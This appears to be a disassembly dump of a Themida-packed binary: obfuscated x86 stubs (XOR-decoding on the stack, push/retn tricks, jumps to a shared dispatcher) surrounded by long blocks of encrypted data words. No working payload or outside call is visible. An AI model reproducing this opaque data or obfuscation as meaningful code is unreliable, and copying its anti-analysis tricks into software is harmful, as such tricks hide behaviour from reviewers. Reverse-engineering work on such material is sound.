push 4872h
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push eax
xor dword ptr [esp], 9ED64BFh
pop dword ptr [ecx+8]
push eax
mov eax, 8
add eax, ecx
xor dword ptr [eax], 9ED64BFh
pop eax
push dword ptr [esp]
pop ecx
add esp, 4
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_58941B
; ---------------------------------------------------------------------------
mov al, 83h
mov [ebx], al
xor edx, edx
mov dl, 0B8h
mov esi, ecx
lodsd
pop es
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 9D6Fh
dd 0E4C26E59h, 0C3FC6D79h, 0C26F29E2h, 33155B50h, 570F7C53h
dd 6D6B44FBh, 1A806653h, 23E9495Ch, 8F000000h, 6A1CB3h
dd 7 dup(0)
dd 0C6E90000h, 6800000Ch, 7ADD0EFh, 0FB7A54E9h, 0D20968FFh
dd 4AE907ADh, 68FFFB7Ah, 7ADD3B6h, 0FB7A40E9h, 0D4DA68FFh
dd 36E907ADh, 68FFFB7Ah, 7ADD7C0h, 0FB7A2CE9h, 0D94E68FFh
dd 22E907ADh, 68FFFB7Ah, 7ADDA6Eh, 0FB7A18E9h, 48D611FFh
dd 22F4E639h, 0FE08C013h, 0D52F9CEFh, 0AB7773C6h, 0B7885B9Ch
dd 8DE0EF0Bh, 65B8C75Fh, 3E91A076h, 306C7B8Dh, 11BCE64Fh
dd 53EE7A13h, 12E4D5ACh, 0D05A9320h, 0B960AC1h, 6A2275DEh
dd 0F2727A0Dh, 1A7D2100h, 92466ABDh, 0D8059284h, 9C924C3Eh
dd 4761750Eh, 5FFE2E73h, 2A0AE6D0h, 0C3000000h, 0B5ED56A1h
dd 0F5726542h, 0DFC15475h, 752E97C4h, 377A0D48h, 0B8E6C5B7h
dd 0F06ABD3Ch, 8DBDC4D6h, 99E6D042h, 104h, 5D8AA152h, 0E001D1C3h
dd 0C1EE38B1h, 63A7C6A7h, 0C2E3507Eh, 88D10D9Ah, 0FECEC05Ah
dd 8A43D0C2h, 437C268Fh, 0F12E7265h, 6C3C2EF8h, 74863730h
dd 8476B282h, 4177C6F7h, 0C56A79B5h, 726548BEh, 0FD0C1ECFh
dd 0F5E731AAh, 0D8059C04h, 0D64B46Fh, 7087F87Ah, 4260AB7Dh
dd 866ABD19h, 0BA6660C1h, 870721F3h, 1B853C4Bh, 0CD186390h
dd 0BC983E64h, 0C95D8D6Ah, 6DED07D7h, 48F6CB4Ch, 0C8DF7267h
dd 93E30416h, 13CFE613h, 8443E547h, 0F22E0BC9h, 0C85290E3h
dd 0B955A0B2h, 8C67FF2Dh, 0A9Eh, 0E1DFBE6h, 0E8F703BBh
dd 0C4D32395h, 9BAA7471h, 71809A48h, 5C8AB330h, 6C60B3C2h
dd 85388B9Ah, 0D8116473h, 22033F4Eh, 1312E9B9h, 7F26C17Ah
dd 0E00DE9D5h, 0E50610C9h, 0CB0219A0h, 0FCED1C3Dh, 0AF65106Ah
dd 205CD1FDh, 0C15FD9F3h, 0F1998AFEh, 0ADBC08F5h, 0B2D3E076h
dd 329BE66Dh, 7265BB70h, 8699BA3Ah, 47742F71h, 0D48C5DEh
dd 7567E77Ah, 0BD3C0896h, 3486A06Ah, 0D0423D6Dh, 0DD49E6h
dd 0D5020000h, 9AE512E4h, 65427131h, 98B93972h, 0FB64AF70h
dd 726542A7h, 33628303h, 0B8796BB7h, 0A4222FA1h, 5C98685Ah
dd 0F8799A6Ah, 7265478Bh, 303FC902h, 0B4138FA9h, 6C8407BAh
dd 8EAF7B73h, 0EDDF6E5Fh, 0FAEBDD19h, 0B7CEFBA6h, 2FFFF105h
dd 0E142AB0Eh, 0CB7A0CB5h, 1B853C4Bh, 0AF186390h, 6ABC69F3h
dd 0B5437AB7h, 8CF55879h, 72671624h, 0DEF522A2h, 0D2E916E0h
dd 0AAEF101Eh, 1BD26B57h, 9B8D9F50h, 0CD9D8FCBh, 1D0F19D4h
dd 65FB114Dh, 3E2DB9E9h, 984CBA6h, 1DCC0000h, 29A1F403h
dd 457BCEDDh, 6A57AAB9h, 0B02E8190h, 0CD165766h, 9DAC7674h
dd 7584924Ah, 4E5DAB22h, 2938C2FBh, 0FFA30CEDh, 0AB7A1313h
dd 0E9D56910h, 32ABFE0Dh, 85A1BBE8h, 35872CBEh, 2D69BD2Fh
dd 0A190C70Ch, 42B5ED56h, 75F57265h, 95B6407Ch, 0B1A37566h
dd 5261AB24h, 0E9E1059Bh, 4BB4E11Dh, 7A0D429Ch, 0A87E6E85h
dd 8AB73787h, 90B17D73h, 18E2DB68h, 0D17D4EBh, 0E52A4B1Bh
dd 0DDCF5992h, 4165CAFEh, 0C1D971FEh, 2332C4F5h, 1B0D1FD0h
dd 391F633Ch, 6B3F35D7h, 2F73DC27h, 7BD7391Fh, 32ABDAFBh
dd 5586D9E8h, 0F610D1C3h, 582ADB8Dh, 0DABBB7D7h, 3169775Dh
dd 6B2EAFD0h, 4FD738DAh, 9AE5ADFDh, 38DA7131h, 0C0B939D7h
dd 0A8D7F802h, 83D6E537h, 0DDCEC04Ah, 52BBE8C3h, 0DEE0F445h
dd 50DE124Fh, 524E0514h, 0DB132A57h, 0BECD5D4Fh, 8DB65B57h
dd 5BBEDF1Bh, 465CC510h, 64CF9076h, 142C3E4h, 0EBD7387Dh
dd 59A796Bh, 0A5C7E86Fh, 42723F8Bh, 2889A50Bh, 5EBFB90Eh
dd 0AFD0BC6Bh, 4E472h, 7C4DB00h, 0A1C9DCFDh, 42B5ED56h
dd 75F57265h, 379E5654h, 0C1558569h, 0C20D5885h, 65424959h
dd 0E5E16172h, 0BFAA590Bh, 8203246Eh, 7A0E2B35h, 0CDCC1F9Fh
dd 0A76B0AB3h, 88A91B44h, 8DBA3007h, 643F6147h, 1F83EC37h
dd 8B8DEE17h, 34990F0Bh, 0FE5CA140h, 4E117ADDh, 0D6959648h
dd 2D736456h, 9DE04976h, 0C38DEE62h, 0CEFF1643h, 5BC40F3Ch
dd 7E9DEA47h, 7DC2E363h, 5167B12Ah, 0D12D3BBDh, 0D717F28Ah
dd 1F000007h, 0F44756A0h, 0CE2130FAh, 0AAFD0C1Ah, 81D4E33Dh
dd 69AAB945h, 11DC97Ah, 0D92D9FF2h, 0B24477CAh, 8D9F50A3h
dd 0F861427Eh, 7A1315AAh, 0D5BE6500h, 0EAB821E4h, 0C0726542h
dd 84C04A83h, 88C45E8Bh, 218AD596h, 72654281h, 5988A929h
dd 4327D767h, 61E9FAC6h, 0F8751625h, 0AE000000h, 36772C71h
dd 3AC4FC13h, 0D9391B19h, 313C5DCh, 0BBE75011h, 0EF726542h
dd 1212336Fh, 37C9F9B8h, 7BD5DF28h, 8E000000h, 0B5ED56A1h
dd 0F5726542h, 0DCC15475h, 6E319AC7h, 36726542h, 41839AF6h
dd 467800D8h, 0B6F2C2B4h, 0B0C7887Ah, 6AF7E933h, 4B6CA876h
dd 4A59A31Ch, 4234C6F7h, 826A6781h, 66AA70Fh, 534E52E5h
dd 2AA2BD26h, 2827A0Eh, 7C4E6810h, 0CF3F0535h, 2411E6h
dd 637A0000h, 0D1A39F6Bh, 0CF6D7053h, 0A19EB1D2h, 42B5ED56h
dd 75F57265h, 121D754h, 0A9C00000h, 20F0E23Ch, 2F71ECFFh
dd 6948CAB4h, 0DC187EB9h, 992D46AFh, 0DF1F7A0Dh, 874F0DAAh
dd 94AAE60Dh, 254DD7E0h, 0B3502BC3h, 0FB000006h, 0D02332CCh
dd 0AAFD0C1Eh, 86D9E836h, 5DB0BF59h, 45869561h, 0DD39A59Eh
dd 0B5417BCEh, 8E9853A6h, 69B32C7Fh, 0D43D1E5Ah, 7A1316CEh
dd 719A41DCh, 0F600BA2Ch, 0CABB79BAh, 377A50EAh, 0DF283C07h
dd 8013h, 2C71CC00h, 0FF783677h, 70318923h, 0DF283C40h
dd 6C4Ch, 16AB500h, 72654EA1h, 338D8909h, 37F0D235h, 0A11B2E4Fh
dd 0A6C7518Ah, 0EC198A13h, 9653E6D5h, 6557508Ch, 0AECF9F91h
dd 0FBE37937h, 0FE494961h, 42584AB3h, 0D2527265h, 65421B87h
dd 0EE0F8F72h, 654A386Dh, 0F295672h, 859AA2F3h, 66B02DC3h
dd 4768A474h, 28BAAEE3h, 507E98DFh, 0BBCDF72Fh, 0B5A7736Fh
dd 4B88A9E5h, 0FFFFFE74h, 5C8AA104h, 8F0EA1C2h, 1ED0E714h
dd 0A98A1A0Ch, 37F846AFh, 8B02235Fh, 35CF8FCDh, 0D7061D65h
dd 5E7F4F41h, 2821CAFAh, 247D6DFh, 0D58F0000h, 8E1B0DE9h
dd 6CD5C751h, 936D5A71h, 0B0B0D1A1h, 4F81981Ah, 0DCFDCDBFh
dd 8BF431ADh, 72654217h, 8F695693h, 81081753h, 4AB3726Ah
dd 72654258h, 7596D252h, 8C7E9846h, 719E059Bh, 66B2C757h
dd 0C4E5FF86h, 388BF861h, 83CE7A0Eh, 0BE00881Ah, 0A9A2226Ah
dd 76C6E737h, 4B7704F6h, 0B330BDAFh, 760E7769h, 7A7F4F24h
dd 80A16D63h, 2E9C2A80h, 738DD414h, 3FCE895h, 7E4E40CAh
dd 9CFB1542h, 731D39DDh, 0CEF169C4h, 89AF2AD2h, 12D02368h
dd 67371608h, 2F6ABD6Eh, 7216139h, 0B3DDE040h, 8F675592h
dd 7091CD9Dh, 2BC8541h, 0FA3606F8h, 891982CDh, 0E6ABD79h
dd 0BD78FDA5h, 132DAD6Ah, 0DA2D7293h, 2F2012ECh, 0C20D3A71h
dd 0BD794959h, 0B4E1616Ah, 0BD79574Bh, 0B2D3536Ah, 8011E64Fh
dd 0C3437265h, 4BA3FDB4h, 0C3938591h, 0A6F15A87h, 0EE6ABD8Dh
dd 59D7C6Eh, 0C65B6D59h, 800DFF19h, 3DC9BB4Dh, 9EC4DFEBh
dd 406012A8h, 0C4D33C69h, 0D0631573h, 0FDEE4150h, 0F7E7FE2Bh
dd 4DDA0223h, 0C47B8A9Ch, 2F98C5DCh, 5B6D6768h, 347FAC2Ch
dd 1D17D7CBh, 3253D34Ch, 17732B0Ah, 1B354C1Dh, 62D2028Fh
dd 27DE0570h, 97000000h, 47742F71h, 0D48C5DEh, 0FBDD47Ah
dd 143505F7h, 735244C4h, 6ABD3C2Bh, 4A57637Dh, 0E6D0421Ah
dd 0C126h, 0E4D5DF00h, 57932012h, 5A879ECBh, 8941CEC0h
dd 9B48417Dh, 9EBF8F81h, 26F0E976h, 20EEE2F9h, 914AD7FFh
dd 0B0D37887h, 0A9726547h, 3DADF55Eh, 81EA7265h, 72653D21h
dd 0B2EF0989h, 84B1ED3Bh, 653D871Bh, 82A32372h, 63909A53h
dd 3CF3AF18h, 37B77265h, 861AD116h, 0EAD7EE1Bh, 554E1E10h
dd 0D0A09264h, 4BE34CAFh, 777A0FEAh, 37B3CAF7h, 5D89DCEBh
dd 0DECFABC1h, 38D02540h, 3CD5Dh, 4CAA1500h, 26F0EA3Dh
dd 20CC417h, 0D923A0F3h, 0AF4B77CAh, 0BB845FA0h, 91E4F30Fh
dd 69BCCB5Bh, 4295A472h, 34707F89h, 19B8EA53h, 57F27A13h
dd 0DE9D5B0h, 626077FEh, 0D8229F98h, 0C55788B7h, 8AA17FB6h
dd 46D3C553h, 24458197h, 4032C4F5h, 0E1F03AB3h, 12E4D5AAh
dd 96485F20h, 0BB346384h, 0F5AB6271h, 7F1881AEh, 157A0D6Ah
dd 0DAC4A395h, 0E96ABD1Ah, 0A22F21FDh, 33EDDF29h, 2166D3Dh
dd 9FCFD2E8h, 0ABE6D060h, 49h, 3BCBFD14h, 45587949h, 47742F71h
dd 6F6BBD30h, 0D4186471h, 0B71A3BAAh, 0D5F554Eh, 2617577Ah
dd 6588C37Fh, 0E0BFB1EDh, 6ABDAEBEh, 0B7FAD0EAh, 0E6CFD087h
dd 10393h, 0F7E5FC00h, 305D2D1Fh, 0BDBADBC7h, 2E4FCF6Ah
dd 12E4D51Bh, 0B1DCEE5h, 8935C2EAh, 0D426406Dh, 56FB7399h
dd 0FF14A09Ah, 0ED2A8803h, 614B57C0h, 0DF5F7265h, 0BED596BEh
dd 7B8B3D0Ch, 0EABD4D3Fh, 0E0848FD6h, 5D8CADE9h, 1BA89A6Ch
dd 142B58A2h, 0CA5C90D7h, 0DD0F9C8Eh, 4B875749h, 4340E52Ah
dd 167265B0h, 4537C3FFh, 0BAF600B8h, 0A67E248Dh, 0AC2C7265h
dd 99635C8Bh, 8F67556Ch, 0E5D6296Eh, 70302113h, 0C8A30C39h
dd 747A0DB4h, 722EE5F4h, 97C5DD46h, 65E56ABDh, 0B3A57F6Ch
dd 117AA7E3h, 72684817h, 0A7F21F9Fh, 960BEF8Dh, 0B3E0CC7Bh
dd 1337584Ah, 0B1D25263h, 0ABBA4482h, 7A906A58h, 2DB86632h
dd 3F22FD95h, 87000002h, 5CAFBE58h, 36899862h, 12657482h
dd 0E93C4BD5h, 0D11221FDh, 69B53112h, 41D5075Ah, 1AECDF32h
dd 0F507B80Bh, 60C9AAE6h, 7A131B42h, 0D526CD68h, 0ABFE0DE9h
dd 0A2D9E832h, 47742F71h, 2EF7E5FCh, 6542DDC5h, 114DCD72h
dd 5B8ABE15h, 728B1C9h, 0DE81D86h, 1D0F8F7Ah, 0BDDC603Eh
dd 9D69636Ah, 59AF1EABh, 5466FE67h, 0B9112B3Fh, 0CFA1C8F8h
dd 4963AEE6h, 0A19956F4h, 0EDB50030h, 0DB6ABDDBh, 302B6386h
dd 3E7B955Bh, 0B4847680h, 0CD1A5778h, 0D3000000h, 0E512E4D5h
dd 1A0C1ACEh, 7401294Ah, 0F9BAAC76h, 8DFDF0DFh, 66FCCF9h
dd 7265479Ch, 31528E0Eh, 654BD3B0h, 0F701BA72h, 0DE657FCAh
dd 77057B89h, 0A581216Ch, 0A9297265h, 0A5BC4388h, 30F1E333h
dd 65A5DBC7h, 134FCF72h, 0AC3F2h, 28831D0Eh, 0B3D992FBh
dd 0E3637A0Dh, 28831DD4h, 433792FBh, 63AE7268h, 12E8A8FAh
dd 61820263h, 4A649111h, 1BF8AC5Bh, 0FC5F80A9h, 0E1DF9E5h
dd 0DDF30FBBh, 2DB8A2B1h, 1F7B56EEh, 67000001h, 3C8F9E78h
dd 16697882h, 0F24554A2h, 0C91C2BF5h, 0B1F2011Dh, 49D51132h
dd 21F5E73Ah, 0FA0CBF12h, 0D52798EBh, 40A98AC6h, 7A131C62h
dd 0A106AD48h, 0CAC35D8Ah, 0B7E60711h, 8DE0EF0Bh, 84BBCA5Ch
dd 7ABF87A1h, 0A19D6961h, 602479Bh, 0BA940BF7h, 0C9F8197Dh
dd 53140610h, 1C85803Ch, 72661E86h, 7668A424h, 655685A6h
dd 0B21B6693h, 72661EF0h, 0D4193ABAh, 0FB28831Dh, 13ED6292h
dd 78ACEC7Ah, 1D85EEC7h, 8D6AB8C4h, 67D8110Dh, 0B5CCF935h
dd 2BFBED09h, 6455E20Ah, 0BF308392h, 0D89C7B6Dh, 97D86A9Bh
dd 50DDCF2Bh, 0E9B8D9Fh, 0D57546D0h, 0DED9AEC5h, 0BC782A93h
dd 0B232FD07h, 0D4F501B9h, 0FFF0C6D4h, 0B9AB7D70h, 0BC138FF8h
dd 1797FD07h, 3D909FDBh, 364D7A8Ch, 2A527385h, 7CE5209Dh
dd 0FD07BC26h, 0D6C80484h, 8F819D49h, 413AC402h, 0FB887A84h
dd 754537C3h, 3241594Fh, 0DCEAC062h, 830A19E3h, 0BCD3CF38h
dd 57D7FD07h, 44D60736h, 87752h, 0A1B00000h, 0A2C35D8Ah
dd 0EAD50083h, 5C8D1A0Ch, 904BD8CAh, 0D5079486h, 4C24F41h
dd 4F7B08FAh, 0B734C1B3h, 0FAEE7B6Dh, 3DAD3A2Ch, 5179F7E9h
dd 0C181E189h, 4, 8704E983h, 895C240Ch, 3768242Ch, 89000059h
dd 8950242Ch, 405E0h, 42D0000h, 87000000h, 895C2404h, 95682404h
dd 89000037h, 0C4B9240Ch, 8907ADCFh, 0A66859CDh, 8900005Ah
dd 4812424h, 424h, 99685800h, 89000066h, 8BA2414h, 1000000h
dd 5A2A89C2h, 582434FFh, 4C481h, 2C8B0000h, 0E7895724h
dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FB6DA4E9h, 0A56B12FFh
dd 2D0F671Bh, 5D3DFC38h, 0DBB2B801h, 0C50307ADh, 13CCE0FFh
dd 1D6132h, 1161742Eh, 0C08B6541h, 0D3816653h, 0E85B38E2h
dd 14h, 0BA9FDD58h, 1110EFh, 3EA8132Dh, 0BC5402CAh, 0FB707CD6h
dd 0A383D281h, 835A7C04h, 0A827F9BDh, 9750007h, 605BD83h
dd 740007A8h, 8B535019h, 3FCB8C0h, 85890000h, 7A82585h
dd 0B0239D8Dh, 0D3FF07AAh, 0BD83585Bh, 7A80605h, 50177400h
dd 3FCB853h, 85890000h, 7A82585h, 0AD129D8Dh, 0D3FF07AAh
dd 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 0DCE2A3C3h, 810FFC3Bh, 2, 0AE904B6h, 34000000h
dd 3E4396E5h, 0A8573F33h, 66C08B72h, 83DFEFBBh, 0A806A5BDh
dd 840F0107h, 86h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 54C35545h, 3404C1E8h, 2AD1BD83h, 0F0007A8h
dd 5985h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 65C28123h, 83558B18h, 0A807CDBDh
dd 840F0007h, 0D1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 16C35747h, 880F70B3h, 6, 8E0Fh, 35E90000h
dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 0B00AC356h, 5FC2F8E0h, 7E990h
dd 0A7800000h, 680A8222h, 54h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 5E86D8Ch, 0C0000000h
dd 250CB52Ch, 6800Fh, 870F0000h, 0
; ---------------------------------------------------------------------------
pop edx
push 0
push esi
call sub_5DF27C
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DF27C proc near ; CODE XREF: Themida_:005DF274p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5DF27C endp
; ---------------------------------------------------------------------------
dd 0AA97B262h, 97F561AEh, 13E9C7h, 551E0000h, 69AC1311h
dd 0A690E586h, 69CD28FAh, 6EC261A5h, 0B583CAF2h, 20310E61h
dd 49DE81BFh, 6A36E8BFh, 0C36EB7E7h, 0CB321EFBh, 533239FBh
dd 0A368EBFh, 81CF84EFh, 0A2B280E0h, 0C05432h, 4A5CEF14h
dd 4A359CEEh, 13163ABFh, 6BF447Ch, 0EB78A9Bh, 4A2B439Bh
dd 1B77A3BFh, 0CC70307Ch, 384D2FCBh, 0CA56FAB0h, 9AC9E24Dh
dd 0A2641DD5h, 4A368EBCh, 10F51D9Fh, 4E12F736h, 4E12953Eh
dd 4A36E8A5h, 0D8F526FDh, 38863695h, 0CB506919h, 45F11874h
dd 4A364A3Dh, 4A3E4ABFh, 0F68BD1BFh, 584BA856h, 93BD8E69h
dd 4A328656h, 1B3677BFh, 4A368D57h, 896F67BFh, 6E7A2AE6h
dd 6E7250BBh, 4A36FCBBh, 896735BFh, 0C1505A75h, 2BE89671h
dd 4A3666EAh, 0CB6B47BFh, 0E7E9A652h, 9389DEB8h, 0A267E8D5h
dd 4A3674BCh, 13F5639Fh, 4E125136h, 4E12CA3Eh, 4A3647ABh
dd 0C1F5F2FEh, 4A355AB0h, 0F539E8BFh, 0BFF6FF67h, 8686802Fh
dd 0C1665189h, 0F5391E68h, 6374860h, 0CC395D9Bh, 4A36D1B2h
dd 4A3001DFh, 9A7474BFh, 44F3CADBh, 4A5C45DEh, 4A3566EFh
dd 121647BFh, 0EBFFB7Ch, 0EB7D59Bh, 4A2CEC9Bh, 1A7674BFh
dd 83C7F87Ch, 0A16FCCC1h, 483A8B47h, 0A8B747BFh, 5EA1792Bh
dd 4A5CD934h, 4A3500E9h, 141674BFh, 3EBF647Ch, 0EB7199Bh
dd 4A2E8A9Bh, 1C7047BFh, 0A29DD37Ch, 0F0506141h, 0C150614Ah
dd 2BD1266h, 4A27D243h, 0E83C1DBFh, 6D6392A9h, 0ACA5128Fh
dd 2352046Dh, 457CF711h, 0F26D3908h, 4A3674BEh, 4A35BEB0h
dd 0FD391DBFh, 47DE1F6Dh, 0F03647BFh, 59AAF06Dh, 9C457136h
dd 0BE06326h, 4A22CED9h, 368D6AE5h, 0DB7EF76Fh, 0A2658ED5h
dd 4A3647BCh, 11F5F89Fh, 4E128D36h, 4E12AC3Eh, 4A3674A4h
dd 0A0F569FCh, 0B8FDAB56h, 0F93F1E51h, 93BA2160h, 1849793Eh
dd 8BC09338h, 68B3E7BBh, 203674BEh, 49DE6ABFh, 6A361DBFh
dd 0C36E4DE7h, 0CB3263FBh, 5C3287FBh, 0A36D1BFh, 69DB2BEFh
dd 73B62D2Dh, 1EB335D7h, 2C361DBEh, 2A23C305h, 0F7289D3Eh
dd 4FDFD063h, 0A236D1BFh, 67A14392h, 4B4FFFDEh, 0A2603AD5h
dd 4A361DBCh, 14F5D09Fh, 4E123336h, 4E12E73Eh, 4A36D1A9h
dd 91F5BEF9h, 0CBCF0AC9h, 4A363A40h, 5AB4123Fh, 20368EBEh
dd 49DE12BFh, 6A36A3BFh, 0C36B12E2h, 0CB32CCD3h, 533250FBh
dd 0F363ABFh, 50D4DEEAh, 0D9BEFD6Dh, 0EA604D05h, 1C8DC5EEh
dd 9AB3163Bh, 4B314562h, 203674BFh, 49DE6BBFh, 6A361DBFh
dd 0C36F4DE6h, 0CB3263F3h, 563287FBh, 0B36D1BFh, 0D9AE2BEEh
dd 0FEAC3304h, 2CFD3BACh, 0A3D53005h, 4A368E6Bh, 0A26547D5h
dd 4A36A3BCh, 11F58A9Fh, 4E12B436h, 4E12303Eh, 4A363AA2h
dd 20F54EFCh, 7473D429h, 0E5E81262h, 88B7C320h, 5E7A995Ah
dd 4A4B01DEh, 4A5C74BFh, 4A35D2EFh, 12161DBFh, 0EBFD67Ch
dd 0EB7439Bh, 4A2CA79Bh, 1A76D1BFh, 0E7546B7Ch, 0B42B1760h
dd 4A5C6347h, 4A35F5E8h, 15168EBFh, 36BF187Ch, 0EB7A79Bh
dd 4A22D59Bh, 1D71E8BFh, 0B9B79D7Ch, 5A7B09BFh, 414F9ED9h
dd 66B28140h, 453647BFh, 0CFF17200h, 4D9B0C6Fh, 4A36E8BEh
dd 0A26774D5h, 4A363ABCh, 13F5449Fh, 4E12C236h, 4E12033Eh
dd 4A36A3A8h, 8AF580FEh, 217ED48h, 0A26074D5h, 4A363ABCh
dd 14F5439Fh, 4E12FA36h, 4E12033Eh, 4A36A3A5h, 52F587F9h
dd 0F83CA474h, 9BBC8B30h, 3140F006h, 0ADB390B2h, 0C731235Ch
dd 0E7D7B402h, 3ECE98B8h, 9B39E1B8h, 0BFDDAF76h, 0A26674D5h
dd 4A363ABCh, 12F5459Fh, 4E12CA36h, 4E12033Eh, 4A36A3A7h
dd 2F581FFh, 0DCB1D0D1h, 4A5C4B0Ch, 4A35D2EDh, 10161DBFh
dd 1EBFD47Ch, 0EB7439Bh, 4A2AA79Bh, 1874D1BFh, 9EA7B27Ch
dd 1F454168h, 1066EA2Bh, 4C93A03Ch, 45378917h, 4A363C3Bh
dd 1C36C9BFh, 4A36D257h, 8968C8BFh, 6E42FDE1h, 6E72BBBBh
dd 4A360ABBh, 8960C8BFh, 1F75ED1h, 4A36A957h, 7B544EBFh
dd 9399A068h, 2CF84564h, 0C96DE234h, 0E21CCC02h, 0CF398EB8h
dd 4A364783h, 3C522D9h, 0F53980F1h, 0F7B5B36Ch, 4D9E7372h
dd 0B235BFh, 20361DBFh, 49DEDDBFh, 6A3647BFh, 0C36D60E4h
dd 0CB32F5E3h, 5C32CCFBh, 93674BFh, 0EFDEF9ECh, 538D7B85h
dd 0EAE80E88h, 4A369756h, 4A3C4ABFh, 0D1E9D1BFh, 9E6C67D8h
dd 846F0E39h, 4A3DB2B0h, 4CDF1DBFh, 95368EBFh, 0A2190FE8h
dd 0EF8B206Dh, 4B3179B9h, 4AA66DB0h, 0CB3974BFh, 4A363AB3h
dd 4A3094B0h, 0C9398EBFh, 4A3647BFh, 1A36C9E2h, 4A36D257h
dd 896EC8BFh, 6E72FDE7h, 6E72BBBBh, 4A3605BBh, 8966CEBFh
dd 14AC5615h, 77ED220Fh, 89394423h, 86E469D9h, 4A699D9Dh
dd 4A5C3ABFh, 4A35F5E9h, 14168EBFh, 3EBF197Ch, 0EB7A79Bh
dd 4A2DD59Bh, 1C70E8BFh, 0EEBE7A7Ch, 940B15BCh, 4FB31238h
dd 2C368EBFh, 8408D3Eh, 4A2E2BB0h, 59DFD1BFh, 0B836E8BFh
dd 3B11C8ECh, 38F5D175h, 5A9C8478h, 5BBD5CBDh, 196BA136h
dd 14DC23EDh, 0A3F98BE4h, 4A36E8BAh, 10A15645h, 0E8BB733h
dd 0C731B061h, 0E7D53A32h, 162BFFB8h, 0CF05D885h, 4D9ED1F6h
dd 0A3F72794h, 40F006BDh, 0B390B231h, 31235CADh, 0D7B402C7h
dd 0CE98B8E7h, 39E1B83Eh, 5E9839Bh, 0BD83A4F3h, 7ADDDD0h
dd 8D0D7400h, 0A84E4D8Dh, 1B807h, 0E1FF0000h, 57006A40h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 4F56DE6Ah, 5B543FBAh, 7E9CB7Dh, 9000000h, 269204F7h
dd 0B70FF226h, 52006AD2h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 81330A4Fh, 13CDBED3h
dd 0DAB70F31h, 6A2DE883h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 7C46C350h, 2ACE20BAh
dd 81C08B54h, 0AEFCBFDBh, 0F9BD8320h, 7A827h, 0BD830975h
dd 7A80605h, 50197400h, 0B8C08B53h, 3FCh, 0ECD8589h, 9D8D07A8h
dd 7AAB08Ah, 585BD3FFh, 605BD83h, 740007A8h, 0B8535017h
dd 3FCh, 0ECD8589h, 9D8D07A8h, 7AAAD2Bh, 585BD3FFh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 4C35747h, 8B0FD3B3h
dd 3, 6A68C780h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 380DC356h, 15D4BF5Ch, 14E955A6h
dd 2D000000h, 59481168h, 16A136ECh, 3EDCF751h, 90A6D696h
dd 8B05C6B1h, 26E9C0h, 0F7660000h, 9E01754Fh, 7C80h, 7 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5E07E0
; ---------------------------------------------------------------------------
push 7ADE6A8h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ADE7A8h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ADE98Fh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ADEAB1h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ADEC55h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ADEF28h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ADF0E8h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ADF1BFh
jmp loc_58941B
; ---------------------------------------------------------------------------
db 27h, 76h, 61h
dd 0A6B1634Ch, 0E7F0A891h, 2A2DE9D2h, 6E692C15h, 277E4B59h
dd 654E6374h, 0A790A5B2h, 0E7D0E5F2h, 2B0B2037h, 8B10468Ch
dd 7C16CBABh, 17C7CEh, 0F1E6B835h, 0F12532DCh, 0A0DCB04h
dd 5B5A723Fh, 198D415h, 7323DADBh, 0ABCC9964h, 981C56E0h
dd 1E37DB01h, 254307B3h, 2796E3F0h, 94000000h, 0D8C51106h
dd 1765D92h, 915C63DBh, 176CD07h, 64CFE8DBh, 0FFFBF2B8h
dd 0DB47E3h, 0F32C0000h, 9F6C3720h, 72ABA187h, 7FC5B2A5h
dd 0D3597049h, 4D30484Fh, 489D8A8Dh, 5970CC02h, 0B3CBD2D3h
dd 9DBA59D6h, 928555D2h, 8F884AC7h, 751B847Ah, 0A9E2D359h
dd 0F0D3EBECh, 2B14292Eh, 63A16C6Bh, 0EF3522F2h, 0DB019B3Ah
dd 1CCB8940h, 713C5D7Ah, 0C46E83A4h, 5D968353h, 282FEDBAh
dd 0A46F905Dh, 7AC0BFD7h, 0E2AC4B63h, 3C756269h, 58917E99h
dd 0FECB9681h, 7D6BFE6h, 14D11810h, 0C55AFC1Bh, 0BFBEDh
dd 597E1F00h, 9EB95B44h, 0DFF8A089h, 2235E1CAh, 6671240Dh
dd 1F864351h, 5D465B7Ch, 9F889DBAh, 0DFC8DDFAh, 2303183Fh
dd 8A083E84h, 740ECBABh, 314C7C6h, 457BC116h, 4BD35970h
dd 1C052C44h, 1B705D7Ah, 59709FD5h, 0E5DB99D3h, 4714E6A3h
dd 537A9299h, 0C5110667h, 765D92D8h, 0AC63DB01h, 501DE8EFh
dd 0AE1DE696h, 0C6E76086h, 0EF3771FBh, 3952DB01h, 806822CEh
dd 0D4B1E3FFh, 0AF000000h, 0A96717C7h, 697F71C1h, 77F4BFE0h
dd 7B811AA4h, 345DD349h, 55BE4813h, 1CD358F1h, 0C2433E3h
dd 596E6929h, 0A97E1B54h, 5320EBECh, 67371A32h, 0EE67A570h
